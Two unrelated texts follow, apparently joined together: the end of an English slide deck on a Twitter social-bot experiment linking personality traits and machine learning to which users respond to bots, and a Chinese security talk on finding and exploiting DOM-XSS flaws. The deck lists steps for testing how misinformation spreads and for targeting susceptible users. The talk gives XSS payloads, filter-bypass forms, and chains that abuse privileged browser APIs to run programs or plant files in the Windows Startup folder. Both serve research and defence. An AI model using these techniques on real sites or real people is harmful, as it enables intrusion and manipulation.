original graph of 500 users (left) from the 2011
Social Bots competition. The graph on the right
is what the social graph looked like after the
competition…
Slide 52
Social Bridge
Building
so they’re examining whether it’s possible to
use an army of social bots to stitch two
separate online communities together, or keep
people in touch…
Slide 53
Another concept they’re interested in is
Emotional Contagion and more specifically, a
concept Tim coined as “Happiness Buffering”.
Their interest in this stems from the work of
Nicholas Christakis, you may be familiar with
his book, “Connected – The surprising power of
our social networks and how they shape our
lives”.
“Renowned scientists Christakis and Fowler
present compelling evidence for our profound
influence on one another's tastes, health,
wealth, happiness, beliefs, even weight, as they
explain how social networks form and how they
operate.” - http://connectedthebook.com/
Getting back to “Happiness Buffering”, Tim
wondered whether you could….
Ref:
Happiness -
http://www.mitpressjournals.org/doi/abs/10.1
162/artl_a_00034
Tim Hwang at Hope 9 -
http://youtu.be/ZfQt6FWDi6c?t=26m44s
Slide 54
…Monitor a group, and if…
Slide 55
…some members happiness (measured via
sentiment analysis) dipped below a certain
level, the surrounding nodes could…
Slide 56
..start injecting happier tweets…
Slide 57
…….until a reasonable chunk of the social graph
are less sad.
Slide 58
Social Penetration Testing
1. Spread information with small
inaccuracies
2. See where they’re challenged & where
they’re not challenged
3. Identify who’s most influential but
worst at evaluating what is real
4. Target them
And finally he highlighted the potential for
Social Penetration Testing.
I’d encourage you to check out Tim’s HOPE 9
talk, it’s both entertaining and informative.
Tim Hwang at Hope 9 -
http://youtu.be/ZfQt6FWDi6c
Slide 59
Yazan Boshmaf
It would be remiss of me, not to mention Yazan
Boshmaf from the University of British
Columbia. Yazan and team investigated social
bots on Facebook which generated a number of
headlines…
Slide 60
…including this one, “'Socialbots' steal 250GB
of user data in Facebook invasion”, while
there’s some sensationalism in the headline the
message aligns nicely with the concerns Erhardt
Greaff cited in “What We Should Do Before the
Social Bots Take Over“ and hits on a general
key themes; social bots can obtain otherwise
private information and they can scale.
“'Socialbots' steal 250GB of user data in
Facebook invasion” -
http://news.cnet.com/8301-1009_3-20128808-
83/socialbots-steal-250gb-of-user-data-in-
facebook-invasion/
Yazan’s site: http://blogs.ubc.ca/boshmaf/
Yazan’s 2012 USENIX talk - “Key Challenges in
Defending Against Malicious Socialbots” -
https://www.usenix.org/conference/leet12/ke
y-challenges-defending-against-malicious-
socialbots
Slide 61
“To this end, we are currently investigating
two directions from the defense side. The first
involves understanding the factors that
influence user decisions on befriending
strangers, which is useful in designing user-
centered security controls that better
communicate the risks of online threats.”
Boshmaf et al (2012)
Yazan and team were also among the first to
recommend that future studies also need to
focus on ‘understanding the factors that
influence user decisions on befriending
strangers, which is useful in designing user-
centered security controls that better
communicate the risks of online threats. “
Design and Analysis of a Social Botnet
http://lersse-
dl.ece.ubc.ca/record/277/files/COMNET_Social
bots_2012.pdf
Slide 62
Understanding
User
Behaviour
#1 Secure & Trustworthy Cyberspace
#2 Corporate Insider Threat Project
Understanding User Behaviour is also
something which the folks are the Secure &
Trustworthy CyberSpace program (in the US)
are examining and the Corporate Insider Threat
project at Oxford University
…so understanding more about human
behaviour, the signs to look for and how bots
(and other humans) can exploit them, is a
worthwhile question to explore. Indeed,
“Understanding and accounting for human
behavior” is recognized in one of the 5 key
areas in Secure & Trustworthy Cyberspace
(SaTC)
• Scalability & compatibility
• Policy generated secure collaboration
• Security metrics driven education, design,
dev, deployment
• Resilient architectures
• Understanding and accounting for human
behavior
SaTC
• https://illinois.edu/blog/dialogFileSec/2434.
pdf
• http://www.satc-cybercafe.net/presenters/
• http://www.satc-cybercafe.net/wp-
content/uploads/2012/10/NSF.jpg
Corporate Insider Threat –
• http://www.cs.ox.ac.uk/projects/CITD/
Slide 63
…so it’s a good bet that bot creators will find
targeting users who’ll quite literally talk to
anyone or anything, to be a very attractive
prospect.…
Slide 64
Timing
~18 minutes
Slide 65
Image source:http://www.webecologyproject.org/2011/02/complete-source-code-from-socialbots-2011/
Slide 66
610 Participants
We had 610 participants who agreed to take
part in a mystery experiment.
Slide 67
For each user, we obtained twitter information,
including historic tweets for linguistic analyses,
personality traits and their klout score. This was
the same method as employed in our Dark
Triad paper.
https://www.onlineprivacyfoundation.org/rese
arch_/PredictingdarkTriadPersonalityTraitsfrom
Twitter.pdf
Slide 68
Bota
Botb
We divided participants into two groups to
speed up processing. Each group had a bot
assigned to it (the bots were the same)
Slide 69
I’ve got all my own teeth
We used the Social Ecology Project’s winning
bot model. (Available under MIT license). We
rewrote and slightly modified it in python.
The winning bot code was based on a young
man, @JamesMTitus, we made some subtle
changes (which I’ll discuss). The first change is
that we based our bots on old ladies with
mildy humour biographies. We wanted to keep
to the spirit of @JamesMTitus as much as
possible, i.e. somewhat banal tweeting.
Complete Source Code From Socialbots 2011 -
http://www.webecologyproject.org/2011/02/c
omplete-source-code-from-socialbots-2011/
Slide 70
Architecture
Initially, and to provide some credibility, each
bot started off by following some standard
celebrity and news accounts. We then built up
a thin veneer of authenticity by populating a
Word Press blog with pictures of dogs in
knitted clothes. (This follows the winning bot
processes). This work using code @AeroFade
had written to extract images from Flickr
groups such as this…
Slide 71
…a dog wearing a snazzy overcoat…
Slide 72
and post them on a wordpress blog as such…
Slide 73
New blog post –
Technicolor Dream
Sweater
http://whatever/
A wordpress to Twitter plugin would then
tweet from our social granny bot. Nothing
groundbreaking, some simple enough to do.
Slide 74
Architecture
Next we used the site “If this, then that” to
comment that the weather was pleasant if it
reached a certain temperature in a sea side
town in the UK.
https://ifttt.com/
Slide 75
e.g. if the temperature got over 20C
Slide 76
Our bot would tweet…
Slide 77
Wonderful, I can switch
the heating off, it's 21 C
and Sunny in
Bournemouth
Like this.
Slide 78
Architecture
Interactions.csv
Next, our bot would start following it’s targets,
recording any interactions (such as follow
backs) in a simple, timestamped .csv file.
Following 305 users took some considerable
time (over 10 days) to not trigger Twitters
aggressive following alarm.
At the same time, our social bot began
Tweeting for a list of Tweets. We used the list
of Tweets from the winning bot code (to keep
things fairly standard), but replace references
to cats with references to dogs.
@JamesMTitus was a cat fan, our social bots
liked dogs.
Tweeted something random
Slide 79
Slide 80
"fracking cops - always in
ma hood stealing ma hos"
We also replaced some Tweets which may have
been considered misogynistic and replaced
them with (hopefully) equally frivolous tweets
such as…
Slide 81
I aint tellin’ no lies even a thug lady cries…
… but I show no fears, I cry gangsta tears
…and…
Slide 82
…and….
Slide 83
"My dog is so adorable, I swear he barks
“Sausages” How human is your pet?"
…and finally…
Slide 84
Architecture
Interactions.csv
Tweets.txt
questions.txt
Targets.csv
?
Once all targets had been followed, the bot
would ask each participant an innocuous
question and record whether there was a
response. We used broadly the same questions
as those in the Web Ecology Project.
Slide 85
162
Questions
162 questions in total, cycled to cover 305
users. Examples of questions were….
Slide 86
Ever Milked a Cow?
Ever…
Slide 87
Ever Milked a Cow?
…Milked a Cow?
Slide 88
What’s better?
…What’s better
Slide 89
Dog? or
Slide 90
Cat?
Slide 91
What super powers do you have or
wish you had?
0
20
40
60
80
100
Ability to reach through
monitor and punch idiots in the
face
Invisibility
Super strength
Ability to fly
What super powers do you have of wish you
had?
Slide 92
…and finally, we added an ELIZA engine to keep
conversation going. (The Social bots, bot had a
list of standard replies, we made ours a little
more context aware).
ELIZA—a computer program for the study of
natural language communication between man
and machine (Weizenbaum, 1966)
Rogerian psychotherapist Rogers, Carl (1951).
"Client-Centered Therapy" Cambridge
Massachusetts: The Riverside Press.
Slide 93
Example Eliza Responses
r’Hello(.*)’
Hey, how is your day going so far?
Here’s one sample exchange…
Slide 94
Example Eliza Responses
Interesting!
r’I think(.*)’
lol that's what she said :P
..however, we wanted to retain some of the
randomness and frivolity from @JamesMTitus,
so we seeded the Eliza engine with a small
number of banal responses such as “lol, that’s
what she said ”
Slide 95
Ethics
Now, if you ask anyone researching social bots
about ethics, you’ll get a similar response. It’s
difficult. A simple tweet could cause someone
to have a really bad day or worse. Look at this
interaction that the social bots winner had
regarding a deceased cat.
For this reason, we built a delay into our bots
response so we could determine if a reply
would cause offence or not. In practice, we
didn’t have this problem.
British Psychological Society – Code of Human
Research Ethics -
http://www.bps.org.uk/sites/default/files/docu
ments/code_of_human_research_ethics.pdf
“In accordance with Ethics Principle 3:
Responsibility of the Code of Ethics and
Conduct, psychologists should consider all
research from the standpoint of the research
participants, with the aim of avoiding potential
risks to psychological well-being, mental health,
personal values, or dignity.”
Slide 96
Ethics
Now, if you ask anyone researching social bots
about ethics, you’ll get a similar response. It’s
difficult. A simple tweet could cause someone
to have a really bad day or worse. Look at this
interaction that the social bots winner had
regarding a deceased cat.
For this reason, we built a delay into our bots
response so we could determine if a reply
would cause offence or not. In practice, we
didn’t have this problem.
British Psychological Society – Code of Human
Research Ethics -
http://www.bps.org.uk/sites/default/files/docu
ments/code_of_human_research_ethics.pdf
“In accordance with Ethics Principle 3:
Responsibility of the Code of Ethics and
Conduct, psychologists should consider all
research from the standpoint of the research
participants, with the aim of avoiding potential
risks to psychological well-being, mental health,
personal values, or dignity.”
Slide 97
Ethics
Now, if you ask anyone researching social bots
about ethics, you’ll get a similar response. It’s
difficult. A simple tweet could cause someone
to have a really bad day or worse. Look at this
interaction that the social bots winner had
regarding a deceased cat.
For this reason, we built a delay into our bots
response so we could determine if a reply
would cause offence or not. In practice, we
didn’t have this problem.
British Psychological Society – Code of Human
Research Ethics -
http://www.bps.org.uk/sites/default/files/docu
ments/code_of_human_research_ethics.pdf
“In accordance with Ethics Principle 3:
Responsibility of the Code of Ethics and
Conduct, psychologists should consider all
research from the standpoint of the research
participants, with the aim of avoiding potential
risks to psychological well-being, mental health,
personal values, or dignity.”
Slide 98
Limitations
• Basic measures of personality
• Basic social bot
• Each user got a different
question
• As the experiment progressed,
each bot had more followers
and interactions and therefore
maybe more/less credibility
• No user follow up
Now there were a number of limitations…
We used basic measures of personality (Ten
Item Personality Inventory- TIPI & Short Dark
Triad – SD3)
Our bot’s we pretty basic.
Each user got a different question. It may be
that certain questions elicit a greater response
rate.
As the experiment continues, it possible that
our bots grew in credibility, or vice versa
And finally, we could not determine whether
people knew they were interacting with a bot
or not.
The intent of our work was to have an
exploratory investigation into this topic, but
future studies will likely need to consider these
limitations.
Slide 99
Timing
~24 minutes
Slide 100
What did we find?
So, what did we find…
In the section we’ll focus more on the
personality traits related to responding, in the
following section on machine learning, we’ll
look at features (as, a botmaster would likely
be looking at features, not personality)
Slide 101
Performance
20%
We had 124 responses from 610 users, which
broke down to
Slide 102
Any interaction
124
Follow back
39
Reply/Fav/RT
85
Number Replies
142
Suspensions
1
N = 610
39 follow backs (which, granted, could be auto
follow backs) and 85 Reply based interactions.
2 users held the conversation for 9 interactions,
and 1 managed 10.
Slide 103
0%
10%
20%
30%
40%
50%
60%
70%
80%
90%
100%
Performance
@AeroFade
Us
@AeroFade (the gentleman behind the winning
bot from the 2011 competition) had nearly a
40% response rate, where we only achieved
~20%.
This could be because @Aerofade’s targets all
had a common cat interest, or because they
had support bots, or perhaps their bot was
more believable. Perhaps future research can
investigate different levels of credibility in bots
and bot detection.
Slide 104
Trolling
@User Using no more that 10
nouns, and ONLY nouns, describe
yourself
@Sybil facetious **** **** **** ****
**** **** **** **** annoying
@User How do you feel when you say
that?
Closely linked to ethics is the issue of
unintentional trolling (by your social bot).
Here’s one interaction….
Slide 105
Trolling
@User Cool story bro
@Sybil Shut up, I hope you get
suspended
@User I’m laughing so hard right now
ahahaha
…and another. Our bot clearly not concerned
with imminent account suspension.
Slide 106
@User What do you do for a living?
@User You’re right, and when
you’re right, you’re right!
@Sybil You’re a bot aren’t you?
@Sybil I plan, guide and help others writing
software for administrative organizations, and
conceive the software the orgs need
“Granny failing Turing Test after 1 exchange!”
Tsk Tsk. The singularity is still a fair way off
@Sybil
…and finally, we got rumbled once too. It could
be that we were rumbled immediately and the
target was trying to smoke us out with an
elaborate reply, or it could be that our target
fell for the question and only became aware
after our social bot tweeted “You’re right, and
when you’re right, you’re right”.
Slide 107
Interesting Relationships
25 minutes
Slide 108
Extraversion
Y
N
Out of all the personality traits, extraversion
played the most important part, although the
significance was very small. This could be due
to the small personality test we used or that
certain aspects of extraversion play a part,
aspects which not all extraverts share.
Slide 109
Y
N
Klout score was also statistically significant
Slide 110
Friends
Y
N
As was friend count…
Slide 111
Followers
Y
N
And follower count.
Slide 112
So what?
So what?, While twitter attributes look like
good candidates for Machine Learning (we’ll
get to that in a moment), personality also has
implications.
Slide 113
eLearning…
eLearning is ubiquitous in the corporate
environment, but research suggests that
learners with higher levels of extraversion
perform better when they have greater levels
of control over the learning experience. i.e. it’s
not a click through exercise. If social media
security awareness is proven to be effective,
then it’s likely that the effectiveness can be
further improved by tailoring learning based on
the personality of the learner.
For more…. “THE ROLE OF PERSONALITY TRAITS
IN WEB BASED EDUCATION”
http://www.tojet.net/articles/v7i2/725.pdf
Slide 114
Timing
~30 minutes
Slide 115
Data Mining & Machine Learning
Image courtesy of Flickr, Kaptain Kobold
In this section, I’ll introduce the concept of
Machine Learning (or Predictive Analytics) with
objectives of
• Understanding what data really means
• Building predictive models
• Discovering how features interact
Slide 116
Baseline - Spray & Pray
TP
FP
TN
Precision = 20.2%
N = 610
FN
Our baseline performance is roughly 80/20,
with a 123 hits and 487 misses.
Slide 117
Reduce this bit…
TP
FP
Precision = 20.2%
N = 610
TN
FN
It might be reasonable to suggest that non-
responders might get rather frustrated by
unsolicited requests, so we can assume that
social bot creators want to avoid hitting these
people…
Slide 118
….as it might ultimately result in account
suspension. Twitter jail. From a machine
learning perspective, we want our bots to avoid
frustrating the 80% of non-responders (sure, in
time bots will do better at engaging them, but
for now we focus on low-hanging fruit).
Slide 119
TN
Perfection
TP
Precision = 100%
N = 610
FP
FN
Perfect would look like this. With all twitter
users in our sample accurately classified.
Our goal is really to minimize the False
Positives (FP’s) and maximize the True Positives
(TP’s.)
Slide 120
Aim
TP
FP
TN
Goal Precision > 20.2%
N = 610
FN
This slide is animated. It shows the baseline
performance, and then the red (FP) square
shrinks to show that our intent is to reduce
False Positives.
Slide 121
Dr. Randall Wald
“At this point we involved our friends at Florida
Atlantic University to help work of some
models”
Slide 122
Data Mining 101
User ID
Interacts
Klout
Friends
Alice
N
20
46
Bob
Y
56
1252
Charles
N
12
1109
Class
Features
One this slide we introduce the basic concepts
of an Instance (e.g. the row featuring Alice), a
Class (e.g. Interacts) and some features (Klout
score, friend count etc). The goal is to use the
features to predict the class.
Slide 123
Experiments
● Identifying top
features
– Perform feature
ranking with many
algorithms
– Find features which
are consistently at
the top
● Building
classification models
– Use rankers to select
top features
– Evaluate model
performance with
different learners,
rankers, and number
of features
Two experiments were designed. One to
identify the top features and one to build
classification models
Slide 124
“We used Weka, which is freely available and
has both UI and CLI. The book Data Mining…
might also be of interest to you”
http://www.cs.waikato.ac.nz/ml/weka/
Slide 125
Top Features: Interacted Dataset
Here are the top features…
Slide 126
Top Features: Interacted Dataset
Klout Score
Friends
Followers
Picking out those which consistently appear in
the top 3 or 4, we see Klout score, Friend Count
and Follower count (as with the statistically
significant results).
Slide 127
Top Features: Replied Dataset
Now, looking at only the users who replied….
Slide 128
Top Features: Replied Dataset
Klout Score
% Follow Friday
We see that follower/friend count becomes
less important, by the %age of tweets
reference to Follow Friday or #FF increases.
Slide 129
Classification Results:
Interacted Dataset
We then examined a number of classification
models with different numbers of features….
Slide 130
Classification Results:
Interacted Dataset
AUC 0.68623
TPR 0.61301
TNR 0.70719
We found that the LR learner, using 40 features
(with a ROC ranker) obtained the highest Area
Under the Curve (AUC) value. The model
correctly identified roughly 60% of the people
who would interact (That’s the True Positive
Rate or TPR) and correctly flagged 70% of users
who wouldn’t (The True Negative Rate or TNR).
Graphically, this translates to
Slide 131
Classification Results:
Interacted Dataset
-600
-500
-400
-300
-200
-100
0
100
200
87
36
188
299
Precision = 31.6%
N = 610
The grey area shows what the baseline
performance would have been. We can see the
false positives are greatly reduced without
removing too many of the false positives. We
can reduce the false positives further, but this
comes at the expense of further reducing the
true positives.
So for a bot creator, one strategy is likely to
• create a bot,
• launch it against a test group,
• Apply some analysis & machine learning
• Use the results to focus on users most likely
to respond to your own bot.
Some might argue that we’re giving less
scrupulous people some ideas, but it’s almost a
certainty that those people are already
exploring ideas like this.
Slide 132
Classification Results:
Replied Dataset
● More challenging than Interacted dataset
● Different models performed well
– SVM instead of LR
– 50 features instead of 40
● Demonstrates importance of testing
different models/parameters on each
dataset
AUC 0.68623
TPR 0.61301
TNR 0.70719
0.65810
0.58588
0.73029
Performance changes a little when we focus on
users who reply (rather than reply or follow
back)
Slide 133
Classification Results:
Replied Dataset
-600
-500
-400
-300
-200
-100
0
100
200
89
34
202
285
Precision = 30.6%
N = 610
The performance is still not far from the
interacted models.
Slide 134
Data Mining Discussion
● Datasets differ despite only having different
class values
– Different second-place features chosen
– Different degrees of classification difficulty, and of
optimal settings for classification
● Nonetheless, data mining tools able to help
create more complete picture
– Bot responders are socially involved individuals
Slide 135
Timing
40 minutes
Slide 136
Conclusions
So, wrapping up.
Slide 137
Extraverts at greater risk…
Image source: http://www.buzzle.com/articles/extrovert-personality.html
People scoring higher in extraversion seem to
be more susceptible to interacting with social
bots
Image source:
http://www.buzzle.com/articles/extrovert-
personality.html
Slide 138
Models could help botmasters find
susceptible individuals…
Machine learning could help bot masters target
susceptible users, or at least reduce False
Positives.
Slide 139
So what?
So what?
Firstly, this work is really based on the premise
that the days are numbers for the ‘spray &
pray’ approach to getting users to
engage/interact with a social bot (or indeed a
human). i.e. Social Bot creators will need to be
less noisy to avoid account suspension.
Assuming this, we considered a number of use
cases. I’ll highlight (briefly) five of them.
Slide 140
#1
#1. Marketeers: Marketeers who are looking to
get a higher klout (kred etc) score for their
brand might be able to focus on users who are
more likely to interact (or engage) with them.
This might be a useful strategy for the early
stages of building a brand (fake or otherwise),
but it could also mean that some users are
deluged with far more spam than others.
Slide 141
#2
Propagandists
#2. AstroTurfers and their ilk: Finding users
who are most likely to help propagate your
message or at the very least, give credence to
the bot account.
Slide 142
#3
Social Engineers
#3. Social Engineering Assignments: Since the
most predictive features (klout score, number
of friends/follows) are easily obtained through
API calls, this makes it very easy to build/model
in Maltego. Here we can see @Alice’s
imaginary Twitter friends. A simple Maltego
local-transform could be used to flag users who
are more likely to engage in conversation,
which might prove use for Social Engineers
looking for weaker points in a social graph. E.g.
You know the Twitter accounts of users in
AcmeCorp and want to highlight the ones who
maybe most likely to talk to you. The red icons
are the users to focus on.
Slide 143
All of these have privacy
implications, so how might
social network providers and
their users respond?
All of these have privacy implications, so how
might social network providers and their users
respond?
Slide 144
#4 Useable Security
#4 Social Network Providers: Knowing more
about how different users behave *may* help
in the design of usable security controls on
Social Network platforms, warning users when
they might be getting “gamed”.
Slide 145
“ It looks like you’re sending a Tweet ”
Although hopefully not quite like this…
Slide 146
#5 Training : (as previously mentioned) this
work suggests that differing human
behaviour/personality traits need to be
considered in the creation/execution of
training material. This isn’t to say training is
ineffective, but it does say that it’s reasonable
to hypothesize that current corporate training
isn’t tailored to the people who need it the
most (those higher in extraversion).
It may also be possible for users to become
more self-aware. E.g. Am I extroverted? If I am,
then maybe I need to check who I’m interacting
with, with a little more rigour.
For more…. “THE ROLE OF PERSONALITY TRAITS
IN WEB BASED EDUCATION”
http://www.tojet.net/articles/v7i2/725.pdf
Slide 147
Future Research Opportunities
• Likely focus on more detailed Big 5 factors
In terms of future research opportunities…
A greater focus on more detailed Big 5 Factors,
perhaps using BFI (Big Five Inventory) rather
than TIPI (Ten Item Personality Inventory).
BFI-
http://www.ocf.berkeley.edu/~johnlab/bfi.htm
TIPI-
http://homepage.psy.utexas.edu/homepage/fa
culty/gosling/scales_we.htm#Ten%20Item%20
Personality%20Measure%20%28TIPI%29
Slide 148
Future Research Opportunities
• Likely focus on more detailed Big 5 factors
• Impulsivity (e.g. Cognitive Reflective Test)
It may also be that Impulsivity plays a part in
responses to social bots, so perhaps the
Cognitive Reflective Test would reveal more.
CRT -
http://www.sjdm.org/dmidi/Cognitive_Reflecti
on_Test.html
Slide 149
Cognitive Reflective Test
A bat and a ball cost $1.10 in total.
The bat costs $1.00 more than the ball.
How much does the ball cost?
http://www.sjdm.org/dmidi/Cognitive_Reflecti
on_Test.html
Cognitive Reflection Test (CRT)
Frederick, S. (2005). Cognitive reflection and
decision making. Journal of Economic
Perspectives, 19(4), 25-42. doi:
10.1257/089533005775196732
The measure: Frederick (2005) CRT.doc
Slide 150
Future Research Opportunities
• Likely focus on more detailed Big 5 factors
• Cognitive Reflective Test (or other measures
of impulsivity)
• Target-centric approach.
And finally, perhaps focus on target-centric
approach. i.e. bots need to engage the target
on a topic the target is interested in. Bot needs
to “fit in” to the group.
Slide 151
It’s not all bad though…Intelligent Agents can
be used for positive actions two. For example,
a popular dating site, besieged with dating
bots, deployed its own bots and now has a
subsection of its site where bots flirt with other
bots.
“So how should we handle bots? OKCupid is a
dating website that does a great job of this. For
obvious reasons a dating website is an ideal
place for spammers, but deleting fake accounts
only trains them and they quickly come back
stronger. To tackle this, OKCupid actually
created their own bots and put them in a
‘secondary world’. Instead of deleting other
bots, they move them into this world where
the bots start having conversations with each
other – albeit rather strange ones.”
Source: http://oursocialtimes.com/7-of-twitter-
users-are-not-human/ (Talk from Lutz Finger)
http://lutzfinger.com/
Then more recently in the New York Times.
This..
“Dating sites provide especially fertile ground
for social bots. Swindlers routinely seek to
dupe lonely people into sending money to
fictitious suitors or to lure viewers toward pay-
for-service pornography pages. Christian
Rudder, a co-founder and general manager of
OkCupid, said that when his dating site recently
bought and redesigned a smaller site, they
witnessed not just a sharp decline in bots, but
also a sudden 15 percent drop in use of the
new site by real people. This decrease in traffic
occurred, he maintains, because the flirtatious
messages and automated “likes” that bots had
been posting to members’ pages had imbued
the former site with a false sense of intimacy
and activity. “Love was in the air,” Mr. Rudder
said. “Robot love.”
Mr. Rudder added that his programmers are
seeking to design their own bots that will flirt
with invader bots, courting them into a special
room, “a purgatory of sorts,” to talk to one
another rather than fooling the humans”
Source:
http://www.nytimes.com/2013/08/11/sunday-
review/i-flirt-and-tweet-follow-me-at-
socialbot.html?pagewanted=all&_r=0
Slide 152
“Illustrations from the Turing Test and
Blade Runner suggest that sufficient
interactivity with a computer should reveal
that it is not human.”
Temmingh & Geer’s 2009
It’s fitting that we end with Temmingh & Geer’s
2009 paper for the current best defenses for
users…
“For the foreseeable future, individual Web
users must improve their own ability to
evaluate threats emanating from cyberspace
[9]. In most cases, the key is credibility.
Illustrations from the Turing Test and Blade
Runner suggest that sufficient interactivity with
a computer should reveal that it is not human.”
Slide 153
The End…
For questions and/or feedback, please
contact [email protected]
Slide 154
In the news…
• Forbes: The Type Of People Who Get
Suckered By A Twitter Bot (7th August
2013)
• NY Times: I Flirt and Tweet. Follow Me at
#Socialbot (10th August 2013)
The Forbes article covers this study
http://www.forbes.com/sites/kashmirhill/2013
/08/07/the-type-of-people-most-likely-to-get-
suckered-by-a-twitter-bot/
The New York Times article covers many of the
issues raised in this study and is a nice, timely
piece.
http://www.nytimes.com/2013/08/11/sunday-
review/i-flirt-and-tweet-follow-me-at-
socialbot.html?pagewanted=all
Alan Turing and Security, Exploiting Innovative
Thinking
www.wired.com/insights/2013/08/alan-turing-
on-security-and-exploiting-innovative-thinking/
Slide 155
45 minutes
Slide 156
TP
FP
TN
Precision = 20.2%
N = 610
FN
Brief notes on Precision
.
Slide 157
TP
FP
TN
Precision = 20.2%
N = 610
FN
Retrieved
NOT Retrieved
Slide 158
TP
FP
TN
Precision = 20.2%
N = 610
FN
The fraction of
retrieved instances that
were correct
Retrieved
Alan Turing and Security, Exploiting Innovative Thinking
www.wired.com/insights/2013/08/alan-turing-on-security-and-exploiting-innovative-thinking/ | pdf |
DOM-XSS 漏洞的挖掘与攻击面延伸
陈思涛
北京长亭科技有限公司深圳分公司Web安全研究员
目录
DOM-XSS 挖掘与利用
DOM-XSS 常见位置
DOM-XSS 优势在哪
XSS 巧妙利用
DOM-XSS常见位置
DOM-XSS 常见位置
1、URL代入页面
这类DOM-XSS是最常见的,它的漏洞点通常是以下形式出现
DOM-XSS 常见位置
它出现的地方比较多,可能会是名称,地点,标题等等。
大多数情况下它和反射型XSS的区别不大,最大的区别是取的值不同。
此时取值时,匹配的URL是location.href,这个值包含了 location.search 和
location.hash 的值,而 location.hash 的值是不被传到服务器,并且能被前端
JS通过 getUrlParam 函数成功取值。
DOM-XSS 常见位置
2、跳转
在 javascript 语法中,使用如下代码可以将页面进行跳转操作
DOM-XSS 常见位置
这样的跳转通常会出现在登录页、退出页、中间页。
如果开发者让用户可以控制 redirecturl 参数,就可以使
用 javascript:alert(1) 的形式进行XSS攻击。
最近几年的APP开发比较热门,通过web唤起APP的操作也是越来越多,跳转的协议也
是多种多样,例如 webview:// , myappbridge://等等。
仅仅使用 http 和 https 来判断URL是否合法已经不适用了,于是由跳转所产生的
DOM-XSS漏洞也逐渐增多。
3、postMessage
DOM-XSS 常见位置
postMessage 支持跨域使用,使用场景比较广泛,如支付成功、登录、退出、唤起
APP等等。
这段代码中,监听了message事件,取了 e.data 的值,也就是来自于其他页面
上的message消息,但是没有检测来源。如果页面允许被嵌套,即可嵌套该页面,
再使用 window[0].postMessage 即可向该窗口发送数据。
DOM-XSS 常见位置
DOM-XSS 常见位置
4、window.name
window.name 与其他 window 对象不同,它在窗口刷新后会保留。
当这个页面刷新跳转到其他网站时,如果这个网站没有对 window.name 进行设置,那么当前
window.name的值仍然是Foo
DOM-XSS 常见位置
5、缓存
开发者在缓存前端数据的时候,通常会存在 sessionStorage , localStorage ,
cookie 中,因为 sessionStorage 在页面刷新时就失效的特性,利用方式相对简单的
只有后面两种。
DOM-XSS 常见位置
Cookie
根据浏览器的同源策略,Cookie是可以被子域名读到的。 一旦我们发现在
http://example.com/setCookie.php?key=username&value=nick 下可以设置Cookie,
就可以结合一些读取Cookie的页面进行XSS攻击。
DOM-XSS 常见位置
localStorage
localStorage 的特性和Cookie类似,但它和Cookie不同的是,Cookie被设置过之后,
具有有效期这个特性,而localStorage被设置过后,只要不手动清除或覆盖,这个值永远
不会消失。
Cookie中通常会存放少量的缓存信息,像用户的头像URL,用户名等等,而localStorage
中通常会存放一些大量,需要重复加载的数据,如搜索历史记录,缓存JS代码等等。这些
值被修改过以后,大部分开发者都不会去校验它的合法性,是否被修改过。
DOM-XSS 优势在哪
DOM-XSS 优势在哪
避开WAF
正如我们开头讲的第一种DOM-XSS,可以通过 location.hash 的方式,将参数写在 #
号后,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免了WAF的检测。
可以使用 ja%0avasc%0aript:alert(1) , j\x61vascript:alert(1) 的形式绕过。
可以利用 postMessage,window.name,localStorage 等攻击点进行XSS攻击的,攻击代
码不会经过WAF。
DOM-XSS 优势在哪
长度不限
当我们可以用当前页面的变量名作为参数时,可以使用
<iframe src="http://example.com/?poc=name"> 的方式进行攻击。
DOM-XSS 优势在哪
隐蔽性强
攻击代码可以具有隐蔽性,持久性。
例如使用Cookie和localStorage作为攻击点的DOM-XSS,非常难以察觉,且持续的时间
长。
XSS 巧妙利用
Chrome Api
chromium支持开发者扩展api。厂商在开发浏览器的时候,或是为了自己的业务需求,或是
出于用户体验,会给浏览器扩展上一些自己的接口,这些接口比较隐蔽,且只接口来自于信
任域名的数据。
但是如果有一个特殊域名下的XSS,或者这个特殊域名可以被跨域,甚至可以找任意一个当前
域名的XSS对它进行攻击。
遍历chrome对象
通过以下代码就可以对当前页面下的 chrome 对象进行遍历。
XSS IN BROWSER
有一款浏览器,它的接口特别丰富,现在给大家分享以下之前的调试过程。
案例一
首先从业务入手,找到了一个叫做game.html的页面,观察到页面上大部分是游戏,使用
了上面的代码对chrome对象进行遍历之后,发现了browser_game_api的对象,这个继续
遍历这个api,看它有哪些变量、函数和对象。
Download And Run
这时候发现了一个函数叫做 downloadAndRun ,从函数名来看,这个函数执行的操作是比
较危险的。
那么这些函数的参数是什么的,暂时不知道,就需要从这个特殊域名下面的页面中去找。 根
据函数名搜索,很快就找到了这个函数调用的地方。
于是构造攻击代码:
跨域调用
又因为这个站点将自己的 domain 设置成了 example.com ,于是我们可以通过其他
exmaple.com 下的XSS来调用它页面下的接口。
利用:
首先发现了 https://exmaple.com/ 下的一个XSS,利用XSS将当前页面的
document.domain 设置为 example.com ,这样它就和 game.html 同域了。
Run Putty
接下来在XSS页面执行以下代码,即可在新的窗口弹出 putty.exe 。
案例二
继续遍历Api,又发现了一个特殊的接口,用于设置用户的偏好,其中就包含设置下载目
录。
Start Up
于是想到了另一种攻击方式,就是通过调用它自带的设置偏好接口,将用户的下载目录设置
为window的启动目录
C:\\Users\\User\\AppData\\Roaming\\Microsoft\\Windows\\Start
Menu\\Programs\\Startup
Set Download Path
同样的,找到一个 exmaple.com 下的XSS,将自身的 domain 设置成 exmaple.com ,再
使用 window.opener 的方式,调用特殊权限页面的接口进行攻击。
案例三
早在2014年12月12日,Rapid7报告了一个漏洞。
利用浏览器的UXSS实现在 Android 4.3 或更低版本的系统上安装任意APP。
利用三部曲
第一点:
使用了UXSS作为攻击手段,在 play.google.com 下调用安装APP的代码。
利用三部曲
第二点:
利用了 play.google.com 的可被嵌套的缺陷。我们知道在Android上是没
有 window.opener 这个属性的,不能通过 window.open 一个窗口再调用它的函数。还有
一种利用的方式是通过 iframe 对它进行调用。
利用三部曲
第三点:
play.google.com 的安装机制,是在用户登录了浏览器之后就可以唤起 Google Play 进
行安装。
Install package
来看一下完整的攻击流程首先攻击者注册成为Google开发者,在应用市场上发布了一款叫做
backdoor_app的应用。
接着将play.google.com嵌套至攻击页面中,利用UXSS调用安装代码。谷歌市场启动,在后
台进行安装应用。
总结
随着浏览器的使用范围越来越广,我们相信无论是反射型、存储型还是DOM-XSS,都是不容
小觑的。
作为开发者,我们要防御的不仅仅是来自于(任何输入点),有些时候,来源于自己的站点
的数据也要加入防御列表。
